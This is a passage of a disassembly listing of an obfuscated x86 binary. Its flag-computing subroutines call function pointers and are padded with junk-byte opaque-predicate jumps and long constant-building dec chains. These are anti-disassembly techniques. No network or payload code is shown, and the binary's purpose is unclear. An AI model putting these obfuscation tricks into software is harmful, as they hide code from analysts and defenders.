; sub_49E436:loc_49E469j jmp short loc_49E46B ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_49E467: ; CODE XREF: sub_49E436+2Cj jz short loc_49E464 loc_49E469: ; CODE XREF: sub_49E436+2Aj jmp short loc_49E464 ; --------------------------------------------------------------------------- loc_49E46B: ; CODE XREF: sub_49E436:loc_49E464j dec dh dec dh and ah, dh mov dl, 3 sub dl, 2 inc dl dec dl inc dl dec dl inc dl dec dl inc dl dec dl and al, dl not ah not ah pop edx neg eax sbb eax, eax inc eax mov [ebp+var_C], eax mov ecx, dword_4ED3DC xor ecx, dword_4ED3E0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49E4B5 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49E4B5: ; CODE XREF: sub_49E436+74j mov eax, [ebp+var_8] push eax call off_4F1D34 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49E436 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49E4C9 proc near ; DATA XREF: sub_4965D8+E71o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DDC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx push 800h pop ecx dec ch dec ch sub ch, 4 dec ch inc esi dec ch and ah, ch mov cl, 0Fh dec dl sub cl, 3 dec cl sub cl, 1 dec cl dec edi dec cl dec cl inc esi dec cl sub cl, 1 dec cl and al, cl pop ecx pop ebx test eax, eax jz short loc_49E52D not eax add eax, 1 stc jmp short loc_49E533 ; --------------------------------------------------------------------------- loc_49E52D: ; CODE XREF: sub_49E4C9+5Aj not eax add eax, 1 clc loc_49E533: ; CODE XREF: sub_49E4C9+62j sbb eax, eax neg eax mov [ebp+var_C], eax mov ecx, dword_4ED40C xor ecx, dword_4ED410 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49E55A mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49E55A: ; CODE XREF: sub_49E4C9+86j mov eax, [ebp+var_8] push eax call off_4F1D64 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49E4C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49E56E proc near ; DATA XREF: sub_4965D8+1257o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DC8 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 86h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 1Ah dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax and al, bl pop ebx pop edx test eax, eax jnz loc_49E6C9 mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 98h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 0Ch not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov ecx, eax push ecx mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1Fh pop ebx jo short loc_49E652 jl short loc_49E650 loc_49E64B: ; CODE XREF: sub_49E56E:loc_49E650j ; sub_49E56E:loc_49E652j jmp short loc_49E654 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49E650: ; CODE XREF: sub_49E56E+DBj jz short loc_49E64B loc_49E652: ; CODE XREF: sub_49E56E+D9j jmp short loc_49E64B ; --------------------------------------------------------------------------- loc_49E654: ; CODE XREF: sub_49E56E:loc_49E64Bj sub bl, 5 dec bl push eax dec bl dec bl jo short loc_49E667 jl short loc_49E665 loc_49E662: ; CODE XREF: sub_49E56E:loc_49E665j ; sub_49E56E:loc_49E667j jmp short loc_49E669 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_49E665: ; CODE XREF: sub_49E56E+F2j jz short loc_49E662 loc_49E667: ; CODE XREF: sub_49E56E+F0j jmp short loc_49E662 ; --------------------------------------------------------------------------- loc_49E669: ; CODE XREF: sub_49E56E:loc_49E662j and eax, 40h dec bl sub bl, 12h sub bl, 3 pop eax dec bl and al, bl mov edx, 1200h dec dh sub dh, 1 dec dh sub dh, 7 and ah, dh pop ebx pop edx neg eax sbb eax, eax inc eax dec eax jo short loc_49E69D jl short loc_49E69B loc_49E696: ; CODE XREF: sub_49E56E:loc_49E69Bj ; sub_49E56E:loc_49E69Dj jmp short loc_49E69F ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49E69B: ; CODE XREF: sub_49E56E+126j jz short loc_49E696 loc_49E69D: ; CODE XREF: sub_49E56E+124j jmp short loc_49E696 ; --------------------------------------------------------------------------- loc_49E69F: ; CODE XREF: sub_49E56E:loc_49E696j inc eax dec eax jo short loc_49E6AC jl short loc_49E6AA loc_49E6A5: ; CODE XREF: sub_49E56E:loc_49E6AAj ; sub_49E56E:loc_49E6ACj jmp short loc_49E6AE ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49E6AA: ; CODE XREF: sub_49E56E+135j jz short loc_49E6A5 loc_49E6AC: ; CODE XREF: sub_49E56E+133j jmp short loc_49E6A5 ; --------------------------------------------------------------------------- loc_49E6AE: ; CODE XREF: sub_49E56E:loc_49E6A5j inc eax dec eax inc eax dec eax jo short loc_49E6BB jl short loc_49E6B9 loc_49E6B6: ; CODE XREF: sub_49E56E:loc_49E6B9j ; sub_49E56E:loc_49E6BBj jmp short loc_49E6BD ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_49E6B9: ; CODE XREF: sub_49E56E+146j jz short loc_49E6B6 loc_49E6BB: ; CODE XREF: sub_49E56E+144j jmp short loc_49E6B6 ; --------------------------------------------------------------------------- loc_49E6BD: ; CODE XREF: sub_49E56E:loc_49E6B6j inc eax pop ecx cmp ecx, eax jnz short loc_49E6C9 and eax, 0 inc eax jmp short loc_49E6CC ; --------------------------------------------------------------------------- loc_49E6C9: ; CODE XREF: sub_49E56E+6Dj ; sub_49E56E+153j and eax, 0 loc_49E6CC: ; CODE XREF: sub_49E56E+159j mov [ebp+var_C], eax mov ecx, dword_4ED3F8 xor ecx, dword_4ED3FC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49E6EF mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49E6EF: ; CODE XREF: sub_49E56E+176j mov eax, [ebp+var_8] push eax call off_4F1D50 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49E56E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49E703 proc near ; DATA XREF: sub_4965D8+EB5o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D90 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Dh dec ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 7 dec ch dec ch and ah, ch mov cl, 0BDh sub cl, 2 dec cl dec cl dec cl dec cl dec cl dec cl dec cl not cl bswap edx not cl bswap edx dec cl dec cl dec cl dec cl push eax dec cl dec cl sub cl, 12h dec cl dec cl sub cl, 3 dec cl and eax, 40h dec cl dec cl dec cl add cl, 0Eh dec cl dec cl and eax, 80h sub cl, 1Fh dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax pop eax inc cl inc cl inc cl and al, cl mov eax, eax pop ecx neg eax sbb eax, eax inc eax pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED3C0 xor ecx, dword_4ED3C4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49E7CE mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49E7CE: ; CODE XREF: sub_49E703+C0j mov eax, [ebp+var_8] push eax call off_4F1D18 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49E703 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49E7E2 proc near ; DATA XREF: sub_4965D8+CF0o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D9C add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ecx bswap ecx not ecx push eax not eax mov eax, 80h xchg eax, ecx mov ecx, 1 xchg eax, ecx not eax and eax, 41h pop eax not ecx pop ecx push edx mov dh, 18h dec dh dec dh not ecx dec dh dec dh dec dh dec dh bswap eax dec dh dec dh sub dh, 0Dh dec dh dec dh dec dh bswap eax jo short loc_49E846 jl short loc_49E844 loc_49E841: ; CODE XREF: sub_49E7E2:loc_49E844j ; sub_49E7E2:loc_49E846j jmp short loc_49E848 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_49E844: ; CODE XREF: sub_49E7E2+5Dj jz short loc_49E841 loc_49E846: ; CODE XREF: sub_49E7E2+5Bj jmp short loc_49E841 ; --------------------------------------------------------------------------- loc_49E848: ; CODE XREF: sub_49E7E2:loc_49E841j and ah, dh mov dl, 9 dec dl dec dl dec dl dec dl dec dl dec dl dec dl dec dl add dl, 4 sub dl, 3 dec dl jo short loc_49E86D jl short loc_49E86B loc_49E868: ; CODE XREF: sub_49E7E2:loc_49E86Bj ; sub_49E7E2:loc_49E86Dj jmp short loc_49E86F ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_49E86B: ; CODE XREF: sub_49E7E2+84j jz short loc_49E868 loc_49E86D: ; CODE XREF: sub_49E7E2+82j jmp short loc_49E868 ; --------------------------------------------------------------------------- loc_49E86F: ; CODE XREF: sub_49E7E2:loc_49E868j and al, dl jo short loc_49E87A jl short loc_49E878 loc_49E875: ; CODE XREF: sub_49E7E2:loc_49E878j ; sub_49E7E2:loc_49E87Aj jmp short loc_49E87C ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_49E878: ; CODE XREF: sub_49E7E2+91j jz short loc_49E875 loc_49E87A: ; CODE XREF: sub_49E7E2+8Fj jmp short loc_49E875 ; --------------------------------------------------------------------------- loc_49E87C: ; CODE XREF: sub_49E7E2:loc_49E875j mov [ebp+var_C], eax mov ecx, dword_4ED3CC xor ecx, dword_4ED3D0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49E89F mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49E89F: ; CODE XREF: sub_49E7E2+B2j mov eax, [ebp+var_8] push eax call off_4F1D24 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49E7E2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49E8B3 proc near ; DATA XREF: sub_4965D8+64Co var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D8C add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 3 pop ebx dec bl dec bl dec bl and al, bl mov dh, 0Fh and dl, 0 sub dh, 5 dec dh sub dh, 1 and ah, dh pop ebx pop edx test eax, eax jz short loc_49E90D not eax add eax, 1 stc jmp short loc_49E913 ; --------------------------------------------------------------------------- jo short loc_49E90B jl short loc_49E909 loc_49E904: ; CODE XREF: sub_49E8B3:loc_49E909j ; sub_49E8B3:loc_49E90Bj jmp short loc_49E90D ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49E909: ; CODE XREF: sub_49E8B3+4Fj jz short loc_49E904 loc_49E90B: ; CODE XREF: sub_49E8B3+4Dj jmp short loc_49E904 ; --------------------------------------------------------------------------- loc_49E90D: ; CODE XREF: sub_49E8B3+43j ; sub_49E8B3:loc_49E904j not eax add eax, 1 clc loc_49E913: ; CODE XREF: sub_49E8B3+4Bj sbb eax, eax inc eax dec eax jo short loc_49E922 jl short loc_49E920 loc_49E91B: ; CODE XREF: sub_49E8B3:loc_49E920j ; sub_49E8B3:loc_49E922j jmp short loc_49E924 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49E920: ; CODE XREF: sub_49E8B3+66j jz short loc_49E91B loc_49E922: ; CODE XREF: sub_49E8B3+64j jmp short loc_49E91B ; --------------------------------------------------------------------------- loc_49E924: ; CODE XREF: sub_49E8B3:loc_49E91Bj inc eax dec eax jo short loc_49E931 jl short loc_49E92F loc_49E92A: ; CODE XREF: sub_49E8B3:loc_49E92Fj ; sub_49E8B3:loc_49E931j jmp short loc_49E933 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49E92F: ; CODE XREF: sub_49E8B3+75j jz short loc_49E92A loc_49E931: ; CODE XREF: sub_49E8B3+73j jmp short loc_49E92A ; --------------------------------------------------------------------------- loc_49E933: ; CODE XREF: sub_49E8B3:loc_49E92Aj inc eax dec eax inc eax dec eax jo short loc_49E942 jl short loc_49E940 loc_49E93B: ; CODE XREF: sub_49E8B3:loc_49E940j ; sub_49E8B3:loc_49E942j jmp short loc_49E944 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49E940: ; CODE XREF: sub_49E8B3+86j jz short loc_49E93B loc_49E942: ; CODE XREF: sub_49E8B3+84j jmp short loc_49E93B ; --------------------------------------------------------------------------- loc_49E944: ; CODE XREF: sub_49E8B3:loc_49E93Bj inc eax mov [ebp+var_C], eax mov ecx, dword_4ED3BC xor ecx, dword_4ED3C0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49E968 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49E968: ; CODE XREF: sub_49E8B3+AAj mov eax, [ebp+var_8] push eax call off_4F1D14 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49E8B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49E97C proc near ; DATA XREF: sub_4965D8+49Do var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D8C add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 0D00h pop ebx jo short loc_49E9B2 jl short loc_49E9B0 loc_49E9AB: ; CODE XREF: sub_49E97C:loc_49E9B0j ; sub_49E97C:loc_49E9B2j jmp short loc_49E9B4 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49E9B0: ; CODE XREF: sub_49E97C+2Dj jz short loc_49E9AB loc_49E9B2: ; CODE XREF: sub_49E97C+2Bj jmp short loc_49E9AB ; --------------------------------------------------------------------------- loc_49E9B4: ; CODE XREF: sub_49E97C:loc_49E9ABj sub bh, 5 dec bh push eax dec bh dec bh and eax, 41h dec bh sub bh, 3 pop eax dec bh and ah, bh mov edx, 28h dec dl dec dl dec dl dec dl dec dl dec dl dec dl dec dl sub dl, 1Bh dec dl dec dl inc dl dec dl inc dl jo short loc_49E9F8 jl short loc_49E9F6 loc_49E9F1: ; CODE XREF: sub_49E97C:loc_49E9F6j ; sub_49E97C:loc_49E9F8j jmp short loc_49E9FA ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49E9F6: ; CODE XREF: sub_49E97C+73j jz short loc_49E9F1 loc_49E9F8: ; CODE XREF: sub_49E97C+71j jmp short loc_49E9F1 ; --------------------------------------------------------------------------- loc_49E9FA: ; CODE XREF: sub_49E97C:loc_49E9F1j and al, dl pop ebx pop edx neg eax sbb eax, eax inc eax mov [ebp+var_C], eax mov ecx, dword_4ED3BC xor ecx, dword_4ED3C0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49EA26 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49EA26: ; CODE XREF: sub_49E97C+9Fj mov eax, [ebp+var_8] push eax call off_4F1D14 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49E97C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49EA3A proc near ; DATA XREF: sub_4965D8+130Co var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DC8 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Dh dec ch sub ch, 1 jo short loc_49EA6F jl short loc_49EA6D loc_49EA6A: ; CODE XREF: sub_49EA3A:loc_49EA6Dj ; sub_49EA3A:loc_49EA6Fj jmp short loc_49EA71 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_49EA6D: ; CODE XREF: sub_49EA3A+2Ej jz short loc_49EA6A loc_49EA6F: ; CODE XREF: sub_49EA3A+2Cj jmp short loc_49EA6A ; --------------------------------------------------------------------------- loc_49EA71: ; CODE XREF: sub_49EA3A:loc_49EA6Aj sub ch, 20h dec ch dec ch sub ch, 7 dec ch dec ch and ah, ch mov cl, 77h sub cl, 2 dec cl dec cl dec cl dec cl not cl bswap edx not cl bswap edx dec cl dec cl push eax dec cl dec cl sub cl, 12h dec cl jo short loc_49EAAD jl short loc_49EAAB loc_49EAA8: ; CODE XREF: sub_49EA3A:loc_49EAABj ; sub_49EA3A:loc_49EAADj jmp short loc_49EAAF ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_49EAAB: ; CODE XREF: sub_49EA3A+6Cj jz short loc_49EAA8 loc_49EAAD: ; CODE XREF: sub_49EA3A+6Aj jmp short loc_49EAA8 ; --------------------------------------------------------------------------- loc_49EAAF: ; CODE XREF: sub_49EA3A:loc_49EAA8j dec cl and eax, 40h dec cl dec cl dec cl add cl, 0Eh dec cl dec cl and eax, 800h sub cl, 1Fh dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax pop eax and al, cl mov eax, eax pop ecx pop ebx test eax, eax jnz loc_49EB8C mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 98h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 0Ch not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov ecx, eax push ecx mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx push 4 pop ecx dec cl dec cl dec cl dec cl and al, cl mov bh, 0Fh and bl, 0 dec bh sub bh, 3 dec bh sub bh, 1 dec bh and ah, bh pop ecx pop ebx test eax, eax jz short loc_49EB77 not eax add eax, 1 stc jmp short loc_49EB7D ; --------------------------------------------------------------------------- loc_49EB77: ; CODE XREF: sub_49EA3A+133j not eax add eax, 1 clc loc_49EB7D: ; CODE XREF: sub_49EA3A+13Bj sbb eax, eax add eax, 1 pop ecx cmp ecx, eax jnz short loc_49EB8C and eax, 0 jmp short loc_49EB90 ; --------------------------------------------------------------------------- loc_49EB8C: ; CODE XREF: sub_49EA3A+A6j ; sub_49EA3A+14Bj and eax, 0 inc eax loc_49EB90: ; CODE XREF: sub_49EA3A+150j mov [ebp+var_C], eax mov ecx, dword_4ED3F8 xor ecx, dword_4ED3FC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49EBB3 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49EBB3: ; CODE XREF: sub_49EA3A+16Ej mov eax, [ebp+var_8] push eax call off_4F1D50 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49EA3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49EBC7 proc near ; DATA XREF: sub_4965D8+90Bo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DA0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov dh, 2 sub dh, 0FFh dec dh sub dh, 0FFh dec dh sub dh, 0FFh sub dh, 1 sub dh, 1 dec dh and ah, dh mov edx, 800h mov dl, 0Fh sub dl, 0FFh sub dl, 0FFh sub dl, 0FFh sub dl, 0Ah sub dl, 0FFh sub dl, 0FFh sub dl, 5 dec dl dec dl dec dl sub dl, 3 sub dl, 0FFh dec dl inc dl inc dl and al, dl not ah not ah pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3D0 xor ecx, dword_4ED3D4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49EC55 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49EC55: ; CODE XREF: sub_49EBC7+83j mov eax, [ebp+var_8] push eax call off_4F1D28 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49EBC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49EC69 proc near ; DATA XREF: sub_4965D8+1323o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DA0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] jo short loc_49EC8E jl short loc_49EC8C loc_49EC89: ; CODE XREF: sub_49EC69:loc_49EC8Cj ; sub_49EC69:loc_49EC8Ej jmp short loc_49EC90 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_49EC8C: ; CODE XREF: sub_49EC69+1Ej jz short loc_49EC89 loc_49EC8E: ; CODE XREF: sub_49EC69+1Cj jmp short loc_49EC89 ; --------------------------------------------------------------------------- loc_49EC90: ; CODE XREF: sub_49EC69:loc_49EC89j push edx jo short loc_49EC9A jl short loc_49EC98 loc_49EC95: ; CODE XREF: sub_49EC69:loc_49EC98j ; sub_49EC69:loc_49EC9Aj jmp short loc_49EC9C ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_49EC98: ; CODE XREF: sub_49EC69+2Aj jz short loc_49EC95 loc_49EC9A: ; CODE XREF: sub_49EC69+28j jmp short loc_49EC95 ; --------------------------------------------------------------------------- loc_49EC9C: ; CODE XREF: sub_49EC69:loc_49EC95j mov dh, 6 jo short loc_49ECA7 jl short loc_49ECA5 loc_49ECA2: ; CODE XREF: sub_49EC69:loc_49ECA5j ; sub_49EC69:loc_49ECA7j jmp short loc_49ECA9 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_49ECA5: ; CODE XREF: sub_49EC69+37j jz short loc_49ECA2 loc_49ECA7: ; CODE XREF: sub_49EC69+35j jmp short loc_49ECA2 ; --------------------------------------------------------------------------- loc_49ECA9: ; CODE XREF: sub_49EC69:loc_49ECA2j dec dh dec dh dec dh dec dh dec dh dec dh and ah, dh mov dl, 2 dec dl and al, dl not ah not ah pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3D0 xor ecx, dword_4ED3D4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49ECE5 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49ECE5: ; CODE XREF: sub_49EC69+71j mov eax, [ebp+var_8] push eax call off_4F1D28 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49EC69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49ECF9 proc near ; DATA XREF: sub_4965D8+459o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D90 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] jo short loc_49ED1E jl short loc_49ED1C loc_49ED19: ; CODE XREF: sub_49ECF9:loc_49ED1Cj ; sub_49ECF9:loc_49ED1Ej jmp short loc_49ED20 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_49ED1C: ; CODE XREF: sub_49ECF9+1Ej jz short loc_49ED19 loc_49ED1E: ; CODE XREF: sub_49ECF9+1Cj jmp short loc_49ED19 ; --------------------------------------------------------------------------- loc_49ED20: ; CODE XREF: sub_49ECF9:loc_49ED19j push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch and ah, ch mov cl, 70h sub cl, 2 dec cl dec cl dec cl sub cl, 6 not al bswap ecx not al bswap ecx dec cl dec cl sub cl, 10h dec cl dec cl add cl, 0Ch dec cl dec cl dec cl jo short loc_49ED74 jl short loc_49ED72 loc_49ED6F: ; CODE XREF: sub_49ECF9:loc_49ED72j ; sub_49ECF9:loc_49ED74j jmp short loc_49ED76 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_49ED72: ; CODE XREF: sub_49ECF9+74j jz short loc_49ED6F loc_49ED74: ; CODE XREF: sub_49ECF9+72j jmp short loc_49ED6F ; --------------------------------------------------------------------------- loc_49ED76: ; CODE XREF: sub_49ECF9:loc_49ED6Fj dec cl dec cl dec cl dec cl sub cl, 10h sub cl, 1 dec cl dec cl dec cl dec cl dec cl dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax inc cl add cl, 2 and al, cl mov eax, eax pop ecx neg eax sbb eax, eax inc eax pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED3C0 xor ecx, dword_4ED3C4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49EDCF mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49EDCF: ; CODE XREF: sub_49ECF9+CBj mov eax, [ebp+var_8] push eax call off_4F1D18 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49ECF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49EDE3 proc near ; DATA XREF: sub_4965D8+D61o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DE4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 0Eh pop ebx sub bl, 6 dec bl push eax dec bl dec bl and eax, 80h dec bl sub bl, 2 dec bl pop eax dec bl and al, bl mov edx, 2400h dec dh sub dh, 3 dec dh sub dh, 16h dec dh and ah, dh pop ebx pop edx neg eax sbb eax, eax neg eax mov [ebp+var_C], eax mov ecx, dword_4ED414 xor ecx, dword_4ED418 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49EE64 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49EE64: ; CODE XREF: sub_49EDE3+76j mov eax, [ebp+var_8] push eax call off_4F1D6C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49EDE3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49EE78 proc near ; DATA XREF: sub_4965D8+160Fo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DB0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1Fh pop ebx jo short loc_49EEAB jl short loc_49EEA9 loc_49EEA4: ; CODE XREF: sub_49EE78:loc_49EEA9j ; sub_49EE78:loc_49EEABj jmp short loc_49EEAD ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49EEA9: ; CODE XREF: sub_49EE78+2Aj jz short loc_49EEA4 loc_49EEAB: ; CODE XREF: sub_49EE78+28j jmp short loc_49EEA4 ; --------------------------------------------------------------------------- loc_49EEAD: ; CODE XREF: sub_49EE78:loc_49EEA4j sub bl, 5 dec bl push eax dec bl dec bl jo short loc_49EEC2 jl short loc_49EEC0 loc_49EEBB: ; CODE XREF: 